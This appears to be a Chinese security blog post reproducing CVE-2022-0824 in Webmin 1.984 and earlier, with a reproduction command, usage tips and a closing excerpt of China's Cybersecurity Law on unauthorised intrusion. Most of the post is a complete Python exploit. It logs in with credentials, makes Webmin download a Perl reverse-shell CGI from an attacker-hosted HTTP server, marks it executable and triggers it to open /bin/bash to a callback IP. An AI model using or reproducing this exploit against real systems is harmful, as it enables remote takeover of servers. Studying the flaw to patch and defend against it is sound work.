Webmin reverse shell(CVE-2022-0824)
2022-11-2 21:25:37 Author: mp.weixin.qq.com(查看原文) 阅读量:19 收藏

0X00.影响范围

Webmin 1.984 及更低版本

未配置任何文件管理器模块限制的特权较低的 Webmin 用户可以使用 root 权限访问文件(如果使用默认的”真实”主题)。所有具有其他不受信任的 Webmin 用户的系统都应立即升级。请注意,由于域所有者Webmin用户的配置方式,Virtualmin系统不受此错误的影响。

webmin安全警告 (webmin.com)

0X01.复现

漏洞脚本https://github.com/faisalfs10x/Webmin-CVE-2022-0824-revshell

Vulfos拉一个webmin的镜像

使用exp直接反弹shell

python3 Webmin-revshell.py -t https://172.16.3.137:26045 -c root:123456 -LS 172.16.3.136:9090 -L 172.16.3.136 -P 4444

0X02.Tips

  • -t参数后加目标url 但是最后不能有/

  • -LS是自己的IP+自定的端口,exp中会自动生成revshell.cgi,并且根据端口起一个web服务

  • nc监听端口的时候要用nc -vlp 端口

  • nc监听的另一个问题:不知道为啥,但是测着ubuntu18自带的nc没问题

    这种监听启起来是Listening on [0.0.0.0] (family 0, port 4444)这样式的,行!

listening on [any] 4444 ...这样式的,不行。。

  • 鸡肋:需要有账号密码才能成功利用(食之无味,弃之可惜)

0X03.POC

#!/usr/bin/python3

"""
Coded by: @faisalfs10x
GitHub: https://github.com/faisalfs10x
Reference: https://github.com/advisories/GHSA-vw87-2p2h-8rp3
"""

import requests
import urllib3
import argparse
import os
import time

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

TGREEN = '\033[32m'
TRED = '\033[31m'
TCYAN = '\033[36m'
TSHELL = '\033[32;1m'
ENDC = '\033[m'

class Exploit(object):
def __init__(self, target, username, password, py3http_server, pyhttp_port, upload_path, callback_ip, callback_port, fname):
self.target = target
self.username = username
self.password = password
self.py3http_server = py3http_server
self.pyhttp_port = pyhttp_port
self.upload_path = upload_path
self.callback_ip = callback_ip
self.callback_port = callback_port
self.fname = fname

#self.proxies = proxies
self.s = requests.Session()

def gen_payload(self):
payload = ('''perl -e 'use Socket;$i="''' + self.callback_ip + '''";$p=''' + self.callback_port + ''';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};' ''')
print(TCYAN + f"\n[+] Generating payload to {self.fname} in current directory", ENDC)
f = open(f"{self.fname}", "w")
f.write(payload)
f.close()

def login(self):
login_url = self.target + "/session_login.cgi"
cookies = { "redirect": "1", "testing": "1", "PHPSESSID": "" }

data = { 'user' : self.username, 'pass' : self.password }
try:
r = self.s.post(login_url, data=data, cookies=cookies, verify=False, allow_redirects=True, timeout=10)
success_message = 'System hostname'
if success_message in r.text:
print(TGREEN + "[+] Login Successful", ENDC)
else:
print(TRED +"[-] Login Failed", ENDC)
exit()

except requests.Timeout as e:
print(TRED + f"[-] Target: {self.target} is not responding, Connection timed out", ENDC)
exit()

def pyhttp_server(self):
print(f'[+] Attempt to host http.server on {self.pyhttp_port}\n')
os.system(f'(setsid $(which python3) -m http.server {self.pyhttp_port} 0>&1 & ) ') # add 2>/dev/null for clean up
print('[+] Sleep 3 second to ensure http server is up!')
time.sleep(3) # Sleep for 5 seconds to ensure http server is up!

def download_remote_url(self):
download_url = self.target + "/extensions/file-manager/http_download.cgi?module=filemin"
headers = {
"Accept": "application/json, text/javascript, */*; q=0.01",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Referer": self.target + "/filemin/?xnavigation=1"
}

data = {
'link': "http://" + self.py3http_server + "/" + self.fname,
'username': '',
'password': '',
'path': self.upload_path
}

r = self.s.post(download_url, data=data, headers=headers, verify=False, allow_redirects=True)
print(f"\n[+] Fetching {self.fname} from http.server {self.py3http_server}")

def modify_permission(self):
modify_perm_url = self.target + "/extensions/file-manager/chmod.cgi?module=filemin&page=1&paginate=30"
headers = { "Referer": self.target + "/filemin/?xnavigation=1" }
data = { "name": self.fname, "perms": "0755", "applyto": "1", "path": self.upload_path }

r = self.s.post(modify_perm_url, data=data, headers=headers, verify=False, allow_redirects=True)
print(f"[+] Modifying permission of {self.fname} to 0755")

def exec_revshell(self):
url = self.target + '/' + self.fname
try:
r = self.s.get(url, verify=False, allow_redirects=True, timeout=3)
except requests.Timeout as e: # check target whether make response in 3s, then it indicates shell has been spawned!
print(TGREEN + f"\n[+] Success: shell spawned to {self.callback_ip} via port {self.callback_port} - XD", ENDC)
print("[+] Shell location: " + url)
else:
print(TRED + f"\n[-] Please setup listener first and try again with: nc -lvp {self.callback_port}", ENDC)

def do_cleanup(self):
print(TCYAN + '\n[+] Cleaning up ')
print(f'[+] Killing: http.server on port {self.pyhttp_port}')
os.system(f'kill -9 $(lsof -t -i:{self.pyhttp_port})')
exit()

def run(self):
self.gen_payload()
self.login()
self.pyhttp_server()
self.download_remote_url()
self.modify_permission()
self.exec_revshell()
self.do_cleanup()

if __name__ == "__main__":

parser = argparse.ArgumentParser(description='Webmin CVE-2022-0824 Reverse Shell')
parser.add_argument('-t', '--target', type=str, required=True, help=' Target full URL, https://www.webmin.local:10000')
parser.add_argument('-c', '--credential', type=str, required=True, help=' Format, user:user123')
parser.add_argument('-LS', '--py3http_server', type=str, required=True, help=' Http server for serving payload, ex 192.168.8.120:8080')
parser.add_argument('-L', '--callback_ip', type=str, required=True, help=' Callback IP to receive revshell')
parser.add_argument('-P', '--callback_port', type=str, required=True, help=' Callback port to receive revshell')
parser.add_argument("-V",'--version', action='version', version='%(prog)s 1.0')
args = parser.parse_args()

target = args.target
username = args.credential.split(':')[0]
password = args.credential.split(':')[1]
py3http_server = args.py3http_server
pyhttp_port = py3http_server.split(':')[1]
callback_ip = args.callback_ip
callback_port = args.callback_port
upload_path = "/usr/share/webmin"
fname = "revshell.cgi"

pwn = Exploit(target, username, password, py3http_server, pyhttp_port, upload_path, callback_ip, callback_port, fname)
pwn.run()

最后插播网络安全法:

第二十七条 任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动;不得提供专门用于从事侵入网络、干扰网络正常功能及保护措施、窃取网络数据等危害网络安全活动的程序、工具;明知他人从事危害网络安全活动的,不得为其提供技术支持、广告推广、支付结算等帮助。

解读

关键点:不得非法侵入他人网站。

未授权即为非法,国内漏洞平台与企业有授权协议,可以测。

关键点:干扰他人网络正常功能、窃取网络数据等危害网络安全的活动。

***测试时不要影响线上系统的稳定性,不能对其他用户造成危害,不能获取敏感数据。例如:DDOS、删除数据库、SQL注入通过获取数据库名验证漏洞即可,不能纂改网站页面挂黑页等。

关键点:不得提供专门用于从事侵入网络、干扰网络正常功能及防护措施、窃取网络数据等危害网络安全活动的程序、工具。

在网上发文章的时候要注意,不得发布***工具或批量getshell、拒绝服务、爆破、病毒等程序。

关键点:明知他人从事危害网络安全的活动的,不得为其提供技术支持、广告推广、支付结算等帮助。

不得为违法犯罪活动提示技术支持,比如提供***工具、支付结算服务、广告推广等。

第六十三条 违反本法第二十七条规定,从事危害网络安全的活动,或者提供专门用于从事危害网络安全活动的程序、工具,或者为他人从事危害网络安全的活动提供技术支持、广告推广、支付结算等帮助,尚不构成犯罪的,由公安机关没收违法所得,处五日以下拘留,可以并处五万元以上五十万以下罚款;情节较重的,处五日以上十五日以下罚款。

单位有前款行为的,由公安机关没收违法所得,处十万元以上一百万以下罚款,并对直接负责的主管人员和其他直接责任人员依照前款规定处罚。

违反本法第二十七条规定,受到治安管理处罚的人员,五年内不得从事网络安全管理和网络运营关键岗位的工作;受到刑事处罚的人员,终身不得从事网络安全管理和网络运营关键岗位的工作。

总结:

违反本法第二十七条规定的个人:

1、不构成犯罪的:没收违法所得,处五日以下拘留,可以并处五万元以上五十万以下罚款。

2、情节严重的:没收违法所得,处五日以上十五日以下拘留,可以并处十万元以上一百万以下罚款。

违反本法第二十七条规定的企业:

1、对企业没收违法所得,处十万元以上一百万以下罚款。

2、对直接负责的主管人员和其他直接负责人员依照前面对个人处罚的相关规定。


文章来源: https://mp.weixin.qq.com/s?__biz=MzI0Nzc0NTcwOQ==&mid=2247485519&idx=1&sn=384ccabbea881c209f7f7e28d771b60a&chksm=e9aa158ddedd9c9b20d715111814e034b10434a7e9e5a3a37730cad9fb758b2b4c42071b95c0#rd
如有侵权请联系:admin#unsafe.sh